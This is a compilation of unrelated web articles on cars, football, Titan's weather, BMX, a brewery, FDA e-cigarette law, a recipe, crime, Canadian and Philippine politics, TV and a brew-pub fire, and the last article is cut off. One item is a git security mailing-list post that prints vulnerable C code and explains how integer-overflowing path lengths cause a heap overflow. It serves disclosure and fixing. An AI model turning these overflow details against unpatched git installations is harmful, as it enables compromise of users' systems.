-At the beginning of the seventies Italian sports car maker Abarth was absorbed into the Fiat empire which involved coming under the corporate strategy setting dictated by Fiat’s top levels of management. Abarth having had a significant history in motor sport it was decided that Lancia and Abarth would combine forces and focus on rallying. It was a time when Fiat was investing as much money into rallying as other companies were investing in Formula 1. During these golden years Abarth engineer Aurelio Lampredi created a series of rally versions of production Fiat cars with emphasis on the 124 and the 131, and Abarth versions of the Lancia coupés the Lancia SE 037 and the Lancia Delta (Lancia SE 038). That period of just over a decade up until the early eighties was to see Abarth become the force to be reckoned with and it was not until the advent of the 4WD drive rally cars such as the Audi Quattro in the early mid eighties that the Lancia/Abarth stronghold was finally broken.  The Lancia-Abarth SE 037 were the last of the mid-engine rear wheel drive cars that were competitive in international rallying, and as they began to be defeated by the new generation of 4WD cars Fiat progressively cut back funding for rally competition, marking the end of an era.  By the time Aurelio Lampredi and his team created the Lancia-Abarth SP 037 they had learned a great many lessons in international rally competition. The ignition coil for example was held in place with sturdy rubber bands to make it replaceable in seconds, and most common maintenance jobs could be accomplished with a couple of 19mm spanners. These cars were built to be fantastically reliable, easy to fix, easy to drive and easy to drive well.  In road trim the car was called the Lancia Stradale and the 1995cc supercharged engine produced 205hp at 7000rpm. The competition versions for Group B rallying produced between 255hp to 280hp at 8000rpm in their first iteration and in the second stage of development were producing 310hp, 325hp and finally 350hp. Suspension is by dual wishbones with coil springs augmented by a roll bar and gas shock absorbers at the front and dual wishbones with twin gas shock absorbers at the rear. This is a suspension that worked to absorb the lumps and bumps of rally roads and tracks keeping both driver and navigator comfortable and allowing them to concentrate on what they needed to do to win rallys.  One driver described this car as being one whose design provides “logic and a will to win”. This is in a sense not a temperamental Italian, this is a determined Italian that is reliably fast. Fully eighty percent of the functional parts of the car can be inspected by mechanics at a stop. All parts are designed to be quickly fixable. Attention to detail has been very complete. For example when re-fitting suspension rose joints there are guides built in so the mechanic can whack the joint in and it lines up immediately.  This particular 1980 Lancia-Abarth SE 037 we are featuring is coming up for auction by Bonhams at their The Monaco Sale ‘Les Grandes Marques à Monaco’ to be held on 13th May 2016 at Monte Carlo. I think this car is the star of the auction, its a renowned driver’s car, a wonderful mechanics car, and an iconic piece of rally competition history. Expected price is in the order of €320,000 – €400,000 which is a chunk of change for a car that doesn’t even have a speedometer – but then again it doesn’t need the distraction of a speedometer does it?  You will find the Bonhams auction page for this car if you click here.  All pictures courtesy Bonhams  Jon Branch is the founder and senior editor of Revivaler and has written a significant number of articles for various publications including official Buying Guides for eBay, classic car articles for Hagerty, magazine articles for both the Australian Shooters Journal and the Australian Shooter, and he’s a long time contributor to Silodrome. Jon has done radio, television, magazine and newspaper interviews on various issues, and has traveled extensively, having lived in Britain, Australia, China and Hong Kong. His travels have taken him to Indonesia, Israel, Italy, Japan and a number of other countries. He has studied the Japanese sword arts and has a long history of involvement in the shooting sports, which has included authoring submissions to government on various firearms related issues and assisting in the design and establishment of shooting ranges.
-Jürgen Klopp has become the angry young manager of German football. Only a year after Borussia Dortmund were Champions League finalists and two after clinching a second consecutive Bundesliga title his side are a fading force, and Klopp a coach in need of reinvigoration.  Last week the 46-year-old stormed out of the studio of ZDF, a national television channel, when posed a question he deemed beyond the pale.  After Dortmund had gone down 3-0 to Real Madrid in the Champions League quarter-final, the ZDF presenter Jochen Breyer asked if the tie was virtually over. It seemed a reasonable enough question given that even a repeat of last season's 4-1 win over Cristiano Ronaldo and co at the Westfalenstadion, which came at the semi-final stage, would not be enough.  Klopp's reaction belied his urbane reputation. "How can anyone pay my salary if I say the tie is done? I would be just as stupid to say we are going to thrash them but I'm not going to be able to continue standing in this studio to be provoked into saying a stupid thing," he said. "For stupid questions I can give stupid answers."  This prompted Klopp to end the live interview, shake the hand of Oliver Kahn, the former Bayern Munich and Germany goalkeeper who was also present, and ignore Breyer as he stormed out.  "He took the microphone and threw it on the floor and just walked away," says Jan Aage Fjortoft, the former Norway striker who is a German football expert. "So Klopp is not always the charismatic Elvis Presley like you always love to see in press conferences."  This was not the first sight of a disgruntled Klopp on German TV. Previously this season he had taken Kahn to task when the Bayern goalkeeping coach defended the sporting director, Matthias Sammer. In reaction to Sammer's questioning of rival clubs' determination in a championship Bayern romped to, Klopp said: "Let me put it that way; if I was Matthias Sammer I'd thank God every day that somebody had the idea to bring me in. Bayern would not have less points without Matthias Sammer."  In his newspaper column, Kahn responded: "The remark that Sammer does not contribute anything to Bayern was disrespectful and shameless. It is not a coincidence that Bayern's recent dominance started with the arrival of Sammer in 2012."  Later in March, following Dortmund's win over Zenit St Petersburg in the previous round of the Champions League, the pair were in the ZDF studio and debated the Sammer issue, with Klopp just about keeping his cool with Kahn.  The latter's presence once more in the ZDF studio, alongside Breyer last week, hardly helped Klopp's mood. "That was part of the problem," says a highly placed source who reports regularly on Dortmund. "He said to Kahn when he shook his hand before walking out: 'The problem wasn't between us two this time.'  "Klopp's issue is he can't lose. I hear from players that he screams at them in the dressing room. The players who know him for years like him because they know how he is. He's a really great guy when he is winning. The newer players in his squad respect him more than like him. He has to watch out his style of coaching does not alienate the squad."  The spectre of Bayern seems to disturb Klopp more and more. Last summer he lost Mario Götze to "FC Hollywood" and this close season it will be Robert Lewandowski, the Bundesliga's joint top scorer.  This adds to the sense that the clock ticks on a tenure that began in 2008. "Lewandowski will go for free to Bayern and of course that will make Dortmund worse," Fjortoff told TalkSport. "Klopp's linked to Arsenal, he's linked to Manchester United. He has just signed another contract taking him to 2018 but my prediction is that in 2015 [Marco] Reus also has one of those buy-out clauses [that becomes active]. Klopp already lost Götze and Lewandowski. If he loses Reus I think there will be a time where the club will say: 'Well, we don't want this thing any more.'  "And then he can go for an adventure because I don't think he will be the German national coach, [Pep] Guardiola will stay another couple of years at Bayern, so he is one of those who will think this is my chance to go abroad and be a manager."  This campaign's dismal league challenge followed last term's disappointing title defence that ended with Bayern 25 points ahead.  Yet the continent's leading clubs will still fight for Klopp's signature if he were to leave. "Everyone still thinks he's a really great coach – only one of a few who make the team better than the players are," said the source.
-The northern hemisphere of Saturn's moon Titan is set for mainly fine spring weather, with polar skies clearing since the equinox in August last year. The visual and infrared mapping spectrometer (VIMS) aboard NASA's Cassini spacecraft has been monitoring clouds on Titan regularly since the spacecraft entered orbit around Saturn in 2004. Now, a group led by Sébastien Rodriguez, a Cassini VIMS team collaborator based at Université Paris Diderot, France, has analyzed more than 2,000 VIMS images to create the first long-term study of Titan's weather using observational data that also includes the equinox. Equinox, when the sun shone directly over the equator, occurred in August 2009.  Rodriguez is presenting the results and new images at the European Planetary Science Congress in Rome on Sept. 22.  Though Titan's surface is far colder and lacks liquid water, this moon is a kind of "sister world" to Earth because it has a surface covered with organic material and an atmosphere whose chemical composition harkens back to an early Earth. Titan has a hydrological cycle similar to Earth's, though Titan's cycle depends on methane and ethane rather than water.  A season on Titan lasts about seven Earth years. Rodriguez and colleagues observed significant atmospheric changes between July 2004 (early summer in Titan's southern hemisphere) and April 2010 (the very start of northern spring). The images showed that cloud activity has recently decreased near both of Titan's poles. These regions had been heavily overcast during the late southern summer until 2008, a few months before the equinox.  Over the past six years, the scientists found that clouds clustered in three distinct latitude regions of Titan: large clouds at the north pole, patchy clouds at the south pole and a narrow belt around 40 degrees south. "However, we are now seeing evidence of a seasonal circulation turnover on Titan – the clouds at the south pole completely disappeared just before the equinox and the clouds in the north are thinning out," Rodriguez said. "This agrees with predictions from models and we are expecting to see cloud activity reverse from one hemisphere to another in the coming decade as southern winter approaches."  The Cassini-Huygens mission is a cooperative project of NASA, the European Space Agency and the Italian Space Agency. JPL manages the mission for NASA's Science Mission Directorate, Washington, D.C. The visual and infrared mapping spectrometer team is based at the University of Arizona, Tucson.  For a full version of this release, go to: http://www.europlanet-eu.org/outreach/index.php?option=com_content&task=view&id=288&Itemid=41  For more information about Cassini, go to: http://www.nasa.gov/cassini and http://saturn.jpl.nasa.gov .  News Media Contact  Jia-Rui C. Cook 818-354-0850Jet Propulsion Laboratory, Pasadena, Calif.jia-rui.c.cook@jpl.nasa.govAnita Heward 011-44-7756-034243European Planetary Science Congress, Rome, Italyanita.heward@europlanet-eu.org2010-308
-Rio Olympic BMX track appears on front pages, opens discussions, initiates protests and new questions. Another track designed by Tom Ritzenthaler from Elite Trax is being prepared for Olympic BMX battles – this time without help of Clark and Kent Contractors as it was in London.  In pictures we can see another great and spectacular venue – showcase for our sport, which definitely will look awesome on TV and BMX will be remembered by general public for some time and definitely will open topics about track’s look and whether all pro BMX tracks look similar. It all helps for BMX promotion – hopefully, at positive direction.  The 2016 Olympic BMX Track from my point of view 🙂 enjoy! @TeamCanada pic.twitter.com/InlNi47hd0 — Tory Nyhaug (@Tnyhaug49) August 15, 2016  Generally, it’s same layout as Beijing track had, but there are differences in obstacles and something more…On pictures we can see some Olympic experiment – asphalt painting/coating, which is something new in BMX, but if it works, then seems it will be new trend for BMX tracks as such painting also protects and preserves asphalt/tarmac from cracking and turn into bad shape. Other questions are: how pleasant painting will look after tires making streaks and whether this paint pop some surprises in terms of traction therefore – another suspicion: could some team know about such experiment just on Olympics and prepare best tire solution for it? Who knows?! Anyway – fact that such experiment is being done exactly now is creating suspicion. And another interesting thing: instead of grass, we have indoor style carpet cover for sides – first time in olympics. Could it mean that track will be dismantled after Olympic games, and therefore it’s not worth to provide expensive planting? Will see. At Beijing they just took grass sods off and and track is still there – abandoned. Let’s hope for best!  See Rio Olympic track on map
-San Antonio Brewing Co. is close to signing a lease that would put the brew pub in a space just east of downtown.  By next week, the startup brewery looks to ink a lease at 306 Austin St., the two-story building that was the former home of Boneshakers, said Vera Deckard, a co-owner and brewer. Vera and her husband, Brent, plan to open the brew spot by year’s end.  The couple already has a 3-barrel brew system and is in the process of ordering fermenters. Plans are to operate the brewery, bar and small kitchen on the bottom floor. Outside, there’s space for a beer garden.  To start, the brewery will serve its beer on six to eight taps. The standard beers will include a pale ale, IPA and coffee porter. There also will be a rotation of seasonal brews such as a wit with blood orange, dark Belgian strong made with piloncillo, imperial red IPA, American hoppy brown ale, and a porter brewed with mole sauce.  Deckard said they will bottle some beers, which they will sell only at the pub. She also plans to sell some beer at Barbaro and Fralo’s pizza.  As far as food, Deckard wants to start simple, looking at offering soft pretzels and charcuterie. She also wants to have food trucks on-site to provide eats.  At some point, they hope to work with a chef to offer German-style fare.  – Valentino Lucio
-Wednesday, April 15, 2015  While FDA’s tobacco products “deeming rule” is pending, the Agency issues Warning Letters to e-cigarette and e-liquid companies for the first time.  The US Food and Drug Administration (FDA or the Agency) is not waiting to finalize the “deeming rule” before taking enforcement action against electronic cigarette (e-cigarette) and e-liquid companies. As discussed in our previous LawFlash on the subject,[1] FDA issued the proposed “deeming rule” almost a year ago, which for the first time establishes federal regulatory authority over e-cigarettes, cigars, pipe tobacco, dissolvable tobacco products, and nicotine gels (deemed tobacco products).[2]  In a news release announcing these enforcement actions, the Agency was careful to explain that the alleged violations are specific to the FDA-related claims made by the recipient firms (i.e., misleading consumers into believing that the products are approved by FDA, safe for use, and/or less harmful based on oversight or inspection by the Agency) and are “unrelated to the FDA’s proposal to regulate these products under its tobacco product authorities in Chapter IX of the FD&C Act” (i.e., unrelated to the deeming rule).  Interestingly, the Agency relied on its authority under section 301(tt) of the Federal Food, Drug, and Cosmetic Act (FD&C Act or the Act) in issuing these Warning Letters. FDA asserted that each of the firms receiving the letters made statements or representations regarding tobacco products that would mislead consumers into believing that their e-cigarette and e-liquid products are approved by the Agency, safe for use, and/or less harmful based on oversight or inspection by the FDA, in violation of section 301(tt). However, FDA’s deeming rule has yet to be finalized, and under section 901 of the Act, the Agency has authority over cigarettes, roll-your-own tobacco, and smokeless tobacco only. Per section 901, the Agency would have to first issue a regulation that deems other tobacco products (e.g., e-cigarettes) subject to its authority before regulating such products.  FDA’s position in these Warning Letters seems to be that it is taking enforcement action based on the misleading statements and representations of the recipient e-cigarette and e-liquid companies rather than claiming that the products that the companies sell are tobacco products. Based on the language of section 301(tt), which relates to statements or representations with respect to a “tobacco product,” it seems likely that the Agency will finalize the deeming rule before taking enforcement action related to e-cigarettes and e-liquids under that section of the Act.  As discussed in a previous LawFlash on Federal Trade Commission enforcement action related to e-cigarettes,[3] manufacturers, distributers, and retailers need to be aware of their e-cigarette and related products’ FDA compliance responsibilities while the deeming rule is pending.  Key Takeaways from FDA Warning Letters  FDA recently issued Warning Letters to Vaperz Ltd., Knoxville Vapor, and Dr. K for making FDA-related claims on their websites regarding their e-cigarette or e-liquid products.[4]  Each of the three companies received a Warning Letter for violations of section 301(tt) of the Act, which prohibits companies from making certain statements or representations directed to consumers about tobacco products that, among other things, would mislead consumers into believing that the product is  approved by the Agency;  safe for use; and/or  less harmful based on oversight or inspection by FDA.  Knoxville Vapor claimed to have FDA lab certification, whereas Vaperz Ltd. and Dr. K claimed to be registered with and their products approved by the Agency, all in violation of section 301(tt) of the Act, according to FDA.  Beyond firms that manufacture e-cigarette and e-liquid products, retailers and distributers should also be aware of their responsibilities under the FD&C Act, even while the deeming rule is pending.  History of FDA E-Cigarette Enforcement Action  To put the Agency’s recent enforcement actions related to these products into context, it is worth reflecting briefly on FDA’s previous attempt to regulate e-cigarettes as drug/device combination products. Between 2008 and 2010, the Agency determined that certain e-cigarettes were unapproved drug/device combination products and detained and/or refused admission to those offered for import. However, Sottera Inc. challenged that determination in court (See Sottera, Inc. v. Food & Drug Administration, 627 F.3d 891 (D.C. Cir. 2010)). The US Court of Appeals for the District of Columbia held that e-cigarettes and other products made or derived from tobacco can be regulated as “tobacco products” under the Act and are not drugs/devices unless they are marketed for therapeutic purposes (e.g., smoking cessation claims). In essence, the Sottera decision states that products made or derived from tobacco can be regulated under the FD&C Act, as amended by the Family Smoking Prevention and Tobacco Control Act unless they are “marketed for therapeutic purposes,” in which case they are regulated as drugs and/or devices.  As noted above, the Agency cited section 301(tt) of the Act in its recent Warning Letters to e-cigarette and e-liquid firms. However, it would seem that FDA should finalize the deeming rule (which extends FDA’s tobacco authority to e-cigarettes and e-liquids) before the Agency can take enforcement action against firms related to such products.  [1.] Morgan Lewis LawFlash, “FDA Proposes Tobacco Products Rule; E-Cigarettes, Cigars to be Regulated,” Apr. 25, 2014, available here. Among other things, the “deeming rule” would ban the sale of e-cigarettes, cigars, pipe tobacco, and other products to those under age 18; require warning statements on product packages and in advertisements; and require manufacturers to register and list products with the Agency and to submit new products for premarket review.  [2.] Deeming Tobacco Products To Be Subject to the Federal Food, Drug, and Cosmetic Act, as Amended by the Family Smoking Prevention and Tobacco Control Act; Regulations on the Sale and Distribution of Tobacco Products and Required Warning Statements for Tobacco Products, 79 Fed. Reg. 23,142 (proposed Apr. 25, 2014) (to be codified at 21 C.F.R. pts. 1100, 1140, 1143), available here.  [3.] Morgan Lewis LawFlash, “While FDA’s Proposed E-cigarette Rule is Pending, FTC Mulls Enforcement Action,” Mar. 24, 2015, available here.
-Today’s Christmas day and I feel like winter hasn’t even started — Me: damn broski its 10 degrees right now. Broski: blessed! But you know what I really love about winter is the gifts — Broski: What did you get for Christmas? Me: FAT. I got FAT.  My new favourite cooking pal, Steph, took this picture and I just had to try and make these bad boys. To be honest, I knew this recipe was going to be a killer because I know Steph AND she knows her food (and baby names! *cough* *cough* Mackenzie-Blake). Also a big shout out to Jennifer (one of Steph’s friends who *cough* *cough* is an absolute QT!).  I love this recipe because its so simple! I mean really really really really did I say really simple. Like this recipe is so simple I could make a song about it: Boil em, melt em, stick em in melted chocolate. Okay. I was never good at musical things… OH did I mention I love sugar, sugar, sugar things!  Here is the recipe and my tips. Enjoy!  La dolce vita!  Tips  Be careful with white chocolate it burns easily!  Chocolate Covered Pretzels Recipe  Prep time  30 mins  Cook time  10 mins  Total time  40 mins  Chocolate Covered Pretzels are perfect for the holidays whether you celebrate christmas or don’t you will love this recipe!  Recipe type: Dessert  Ingredients  2 bags chocolate chips (white or milk chocolate)  1 bag pretzels  Sprinkles, for garnish, optional  Coconut, for garnish, optional  Instructions  Melt chocolate in double boiler over medium heat on stove top.  Using a fork, quickly dip pretzels in chocolate allowing the excess to run off.  Place dipped pretzels on waxed paper lined cookie sheets.  Sprinkle with sprinkles or other toppings.  Allow to harden. You may need to refrigerate for a while to help this along.  Once hardened, remove from sheets and store in a cool location, with waxed paper between layers.…
-SAN JOSE — San Jose State police have arrested a campus employee accused of stealing costly equipment ordered for a major campus technology upgrade.  University police, who have been investigating the missing equipment since March, on Wednesday arrested 39-year-old Jose Javier Farias on suspicion of burglary and embezzlement of university property, according to a campuswide message Thursday.  Farias, a network analyst in the IT department, was put on paid administrative leave.  He was booked into Santa Clara County Jail, posted bail and was released.  The investigation is continuing.  “UPD investigators deserve our thanks for their outstanding, meticulous work,” said campus President Mo Qayoumi in the message.  Qayoumi said the university is trying to recover the equipment, which includes hundreds of small wireless access devices — each costing about $1,000 — for expanded Internet service.  The news release didn’t give an estimated value, but campus officials have previously confirmed the loss was $700,000 to $800,000.  Follow Katy Murphy at Twitter.com/katymurphy.
-- Police in Everett, Washington say would-be ATM thieves thwarted their own burglary attempt by setting the cash on fire.  Police and firefighters were called Tuesday morning to Coastal Community Bank on 19th Ave SE for the report of a fire. When they arrived, crews found the drive-up ATM had been set on fire.  Aaron Snell with the Everett Police Department said the suspects used a blowtorch to try and access the ATM’s cash box. In the process of doing so, they accidentally set the money on fire.  John Dickson, Chief Operations Officers of Coastal Community Bank, said the suspects were not able to get away with any money. He told Q13 News that masked men tried to break into the bank’s cash deposit box just a few weeks ago.  Dickson bank said the bank will be providing surveillance video of the incident to Everett police.  CLICK HERE FOR MORE FROM FOX NEWS
-Kevin O'Leary says he feels he received a "warm welcome" in his first Conservative leadership debate, but that welcome came mostly in the form of attacks.  It started early in the two-hour face-off during the first question on carbon emissions. Kellie Leitch took her first opportunity at the microphone to welcome O'Leary to the race — sarcastically.  "First I'd like to welcome Kevin to the Conservative party and I'd like to welcome him back to Canada," she said hinting to questions about his past donation to the Liberal party and the amount of time O'Leary spends in the United States.  'I'd like to welcome Kevin to the Conservative party and I'd like to welcome him back to Canada' 0:23  The question about carbon emissions prompted little real debate. Thirteen of the 14 candidates object to carbon taxes. Only Michael Chong is proposing a retooled taxation plan that includes a tax designed to limit emissions. He was quietly booed by a few people in the crowd while explaining his position.  The debate in Halifax was the first to feature all 14 candidates, including O'Leary, who entered the race Jan. 18.  Other candidates piled on the attacks over the course of the night. Many came with what seemed like pre-prepared shots at O'Leary.  "We are not on the Dragon's Den stage tonight," Maxime Bernier said to the crowd. "You are not applying to work for us. We are applying to work for you.  "We have a celebrity in chief," said Erin O'Toole, in an apparent reference to Prime Minister Justin Trudeau. "We don't beat a celebrity in chief with another celebrity in chief."  Erin O'Toole warns against a leader with a 'a mean-spirited and negative edge' 0:39  Chong warned of choosing a candidate who "thinks he's Rambo," referring to the video O'Leary posted of himself earlier in the week shooting automatic weapons. His social media post coincided with public funerals for victims of the Quebec City mosque shooting and he later decided to remove them "out of respect" for the services.  O'Leary didn't respond directly to any of the criticisms but vowed to the party and win back people who had voted Trudeau, like his own children.  "The task is who can get these people back on side with us?" he said.  The biggest applause of the night, though, seemed to come for Cape Bretoner Lisa Raitt when she closed with a denunciation of Trudeau. She said he was not a man of his word and didn't share the public's concerns about issues including worrying about paying the mortgage.  "He is not one of us. He is not one of you. And he definitely doesn't think about you when he makes decisions."  Lisa Raitt, originally from Cape Breton, received a lot of applause after telling the crowd that Prime Minister Justin Trudeau doesn't share many of their concerns like how to pay the mortgage. (Andrew Vaughan/Canadian Press)  More protection for victims  On a question about mandatory minimum sentences for committing sexual assault, there was broad agreement that the justice system should do more to protect victims​ and punish offenders.  Steven Blaney, Brad Trost and Pierre Lemieux all pushed back against decisions by the Supreme Court, arguing the court goes too far at times.  Trost said he would use the notwithstanding clause to overturn decision by "leftist judges" on matters of principle.  O'Leary said he had visited some of the "harshest" places on earth while travelling for business, and always feels grateful for the Canadian system when he returns.  "I can't criticize. I'm sorry. We're lucky," said O'Leary.  Andrew Scheer didn't agree with O'Leary's comparison.  "I don't think we should compare ourselves to countries with no rule of law and say we can't do better," he said.  Scheer says we shouldn't compare Canada to countries without 'rule of law' 1:28  Growth for Atlantic Canada  A question about how to support and grow Nova Scotia's economy and create jobs also provoked some intense discussion.  "Corporate taxes are insane in Atlantic Canada," said O'Leary, who promised "economic therapy motivation" to encourage provinces to get onside with his vision.  Maxime Bernier said he didn't have a plan that was specific to Atlantic Canada or any other region. He said lowering corporate taxes and income taxes would benefit all Canadians and help bring people and jobs back from other countries.  "And it's already working — Kevin is with us today," he joked, another reference to the time O'Leary spends in the United States.  O'Leary shows 'horrific lack of judgement,' says Michael Chong 2:33  Raitt said companies should have to establish training for kids under a certain age, not just in skilled trades but also in office jobs such as human resources.  O'Toole mocked the way Liberal MPs from the region have responded to job losses in Atlantic Canada saying he calls the MPs "little lambs" because it has been "silence of the lambs" on major issues.  Scheer added that Atlantic Canadians didn't need a minister responsible for the Atlantic Canada Opportunities Agency who was from Mississauga.  Chong said Donald Trump's plans to reduce taxes in the U.S. was a sign that Canada should also lower taxes.  Leitch repeated her plan to cap government spending. She called for natural resource development in Atlantic Canada.  Tonight's Conservative leadership debate in Halifax was the first with the full slate of 14 candidates. (CBC )  Mosque Attack  A few candidates also took time to recognize the victims of the Ste. Foy mosque attack.  Steven Blaney, an MP in the Quebec City area called it "a heinous crime."  He also cautioned against answering hatred with hatred and said everyone must watch that their words don't fuel hate.  Rick Peterson focused his closing remarks on the previous day's funeral for three of the attack victims, which he attended. He said he heard words of passion and tolerance.  "Our party stands up and defends a system of immigration that welcomes the world and makes us all better."  Watch the full debate:
-oss-sec mailing list archives  On Thu, Feb 11, 2016 at 02:31:49PM +0100, 'Laël Cellier' via Git Security wrote:  Ok the bug works by pushing or cloning a repository with a large filename or a large number of nested trees. [...] The point is affected versions are still shipped as part of many distributions as part of their stable branch, so I think it’s important to get a ᴄᴠᴇ for public awareness.  Yes, I do think versions below v2.7.0 have a heap overflow, as you mentioned. But I don't think that is the only problem with path_name(), even in the current version. I'll repeat the code here (the version you posted was indented badly, and I had trouble reading it): -- >8 -- char *path_name(const struct name_path *path, const char *name) { const struct name_path *p; char *n, *m; int nlen = strlen(name); int len = nlen + 1; for (p = path; p; p = p->up) { if (p->elem_len) len += p->elem_len + 1; } n = xmalloc(len); m = n + len - (nlen + 1); memcpy(m, name, nlen + 1); for (p = path; p; p = p->up) { if (p->elem_len) { m -= p->elem_len + 1; memcpy(m, p->elem, p->elem_len); m[p->elem_len] = '/'; } } return n; } -- 8< -- The problem you describe is one where the size of the allocation does not match what strcpy would write. And that's kind-of fixed by moving to memcpy() in 34fa79a6, because at least now the initial value of "len" matches the number of bytes we write (so that number might be totally bogus, but we don't write more than we allocate). But "len" can also change after the fact, due to the loop. If you have a sequence of path components, each less than 2^31, they can sum to a much smaller positive value due to integer overflow (e.g., A/B/C with lengths A=2^31-5, B=2^31-5, C=20 would yield len=10). Then the buffer is too small to fit C, let alone all of the extra components we insert in the second loop. The fix I came up with for this is to convert all of the "int" variables here to "size_t". That doesn't actually _fix_ the problem at all, but does mean on a 64-bit system that you need a 2^64-long path to trigger it, which is impractical. But that doesn't help 32-bit systems (though in practice, I wouldn't be surprised if we barf long before that, as we would be unable to hold the "struct name_path" list in memory). Note that there is also a similar problem in tree-diff.c's path_appendnew(). There we build up the full pathname in a strbuf, which checks for overflow. But we then pass that length as an int and allocate a FLEX_ARRAY struct with it, which can end up too-small. This one is the more interesting of the two, I think, as it triggers via git-log, whereas the path_name() happens only during a repack (so it will hit you _eventually_, but probably not as soon as you've cloned). My solution there was similar: use size_t, which at least means you'd have to allocate petabytes on a 64-bit system to trigger it (much less on a 32-bit system, but _probably_ you'd be saved by malloc failing first). And that's why I dragged my feet on sending those fixes upstream; I don't think they're complete. The complete fix would be to use size_t consistently to store return values for strlen(), and to do integer overflow checks whenever we do computations on size_t. Those of you on this list may recall I posted a series for the latter last year, but it was somewhat invasive. It may be worth resurrecting. I think we could also get rid of path_name() entirely. The sole purpose at this point is to compute the name-hash for pack-objects, which could be done by walking the name_path list rather than re-constructing the whole thing in memory. -Peff
-Chance  Based on Kem Nunn’s novel, Chance is described as a provocative psychological thriller that focuses on Eldon Chance (Laurie), a San Francisco-based forensic neuropsychiatrist who reluctantly gets sucked into a violent and dangerous world of mistaken identity, police corruption and mental illness. After an ill-advised decision regarding an alluring patient who may or may not be struggling with a multiple personality disorder, Chance finds himself in the crosshairs of her abusive spouse, who also happens to be a ruthless police detective. In over his head, Chance’s descent into the city’s shadowy underbelly, all while navigating the waters of a contentious divorce and the tribulations of his teenage daughter, soon spirals into an ever deepening exploration of one of mankind’s final frontiers — the shadowy, undiscovered country of the human mind.
-Austin Rogers.  ​I was beginning to think I was falling out of love with Jeopardy! Earlier this year, for the third time, I auditioned for the show. And, for the third time, they didn’t take me. They never confirm you’re not wanted — they just never call. Gutting.  Still, I couldn’t stop watching, hoping to learn something by examining which prospectives the show did take. The dull retirees; the pale nerds; the “New Mexico’s Foremost Collector of Pyrite” types … what could they possess that I lack? Not youth, not game-playing skill, not flair. Why were they there, while I was here? And then along came Austin Rogers.  Rogers, who describes himself as a bartender from New York, has won the show’s last eight nights. His cash winnings total $306,900. And he is like no champion who has come before him. First off, no one has won that much money that quickly. He steamrolls through categories and brings derring-do to Daily Doubles. He wagers boldly and answers correctly. On Tuesday night, he won $69,000, providing 24 correct responses and no incorrect ones.  Numbers cannot explain, though, how Rogers’s style has upset the game’s natural order. Wearing a misshapen pile of hair atop his head and a thick beard on his face — but sharp coats and ties, always — he is both unkempt and natty by the show’s drab standards. And the clothes are just the beginning. Rogers plays with joy and an attitude. During the show’s opening, when each (silent) contestant is introduced by announcer Johnny Gilbert, Rogers mugs and pantomimes. He’s a showman. When he had to reply to a clue with “the Eagles,” he grumbled. When he aced a Daily Double, he punched his arm across his body in exaltation.  And then there’s his banter with host Alex Trebek. Clearly each has boundless contempt for the other. Trebek can’t stand Austin’s jokes. Austin can’t stand Trebek’s presentation. When a sneering Trebek asked Rogers how he “got to be so smart,” Rogers deadpanned: “Genetics. Luck. Karma.” What about school?, Trebek asked. Pfft, Austin replied.  I watch Jeopardy! because I love trivia, and the show’s trivia offerings are better than those of any competitor. But what makes the show unique (and uniquely aggravating) is its solemn punctiliousness, enforced by Trebek, who delights in humbling contestants. The show styles itself as syndicated TV’s last refuge for sophisticates — I mean, sure, but anything would be, compared to Maury and Inside Edition — and a meritocracy, too. No Wheel of Fortune–style free money here! Cash comes by way of studying. The game’s great champions are teachers, accountants, lawyers. They wager conservatively; they play and dress modestly. The audience is meant to believe their knowledge is but a fraction of what makes them excel, that dutiful reverence for the game matters, too.  But Rogers is a rapscallion. He’s a 38-year-old man whose get-to-know-the-contestant interviews have included stories about getting drunk with his buddies, and falling asleep at a Korn/Disturbed show. He is precisely the sort of person who is not supposed to win on Jeopardy! And he is winning like no one ever has before. Marooned on my couch, 3,000 miles from Culver City, I feel like I’m winning, too.
-A chemical spill and flash fire at a Downtown Denver brew pub has forced the evacuation of the building and is knotting up traffic this morning.  The accident happened at about 7:15 a.m. at the Rock Bottom Restaurant and Brewery, 1001 16th St., said Capt. Craig Carter, a Denver Fire Department spokesman.  The fire is out and there were no injuries, Carter said. Emergency medical workers were on scene, but weren’t treating anyone.  On Tuesday there was a spill of chlorine dioxide, which is used to clean empty beer tanks, at the brew pub, Carter said. It was mopped up and the spill didn’t cause a problem until this morning when a worker dropped a keg. A spark from the keg ignited remnant residue of the spill and fueled a flash fire.  The fire department’s hazmat team is on scene and is flushing any residue left from the spill to ensure an incident like this doesn’t happen again, Carter said.  A decontamination tent was set up on Curtis Street as a precaution.  Several fire engines and at least a dozen firefighters in hazmat gear responded.  The flash fire released a plume of smoke and firefighters were concerned that it may have been toxic. Tests by the hazmat team determined that no harmful toxins were released, Carter said.  Police and firefighters shut down Curtis Street from 15th to 17th Street for a time as the fire and chemical residue was mopped up.  Workers with Rock Bottom, who were waiting along Curtis Street for the business to reopen, declined comment.  A parking garage for Independence Plaza was not accessible because of the Curtis Street closure. Several other storefront businesses along the block were closed this morning, as were several offices directly above the brew pub.  The free 16th Street mall shuttle remained open.  Tracey Weil, an artist working on an architectural project, was suppose to be in a business meeting at 8:30 but was shut out because of the incident.  “I’m sitting here waiting,” Weil said from a perch on the 16th Street Mall. “I tried to call, but no one is answering the phones.”  Instead, Weil people watched and surfed the web on his smart phone.  “It’s kind of nice to sit out here and relax,” Weil said. “What can you do? You just have to hang out.”  Kieran Nicholson: 303-954-1822 or knicholson@denverpost.com.
-MANILA (Reuters) - Philippine Vice President Jejomar Binay on Monday vowed to amend the constitution to widen foreign ownership of businesses, create more jobs, and spur growth in the Southeast Asian economy if he wins next year’s presidential elections.  Philippine Vice-President Jejomar Binay gestures during a Reuters interview in his office at Coconut Palace in Manila September 21, 2015. REUTERS/Romeo Ranoco  A former human rights lawyer, Binay, 72, is the oldest and most experienced politician among the presidential hopefuls. Along with his wife and son, Binay’s family has ruled Manila’s financial district for nearly three consecutive decades.  Besides Binay, who is leading a coalition of small opposition groups, those eyeing the presidency include former Interior Minister Manuel “Mar” Roxas, who was endorsed by President Benigno Aquino III, and first-term senator Grace Poe.  “We have to revisit our constitution, among other things,” Binay said, regarding the 40-percent limit on foreign control of most businesses. “We have to get out of that 60-40 arrangement.”  Binay said he was still studying the right limit for foreign control, even as he promised to honor state contracts with the private sector, such as in infrastructure.  He also supports cutting income and corporate taxes that rank among the region’s highest and altering the land reform law to give farmers more subsidies.  He also wants to step up irrigation to boost rice output so that the country, once the world’s largest rice buyer, can export the grain within three years.  Binay consistently topped surveys for the 2016 presidential race until June, when Poe overtook him.  A year-long Senate investigation into allegations that Binay and his family illegally amassed wealth hurt his poll ratings, analysts say. He has denied wrongdoing, saying the allegations were meant to discredit 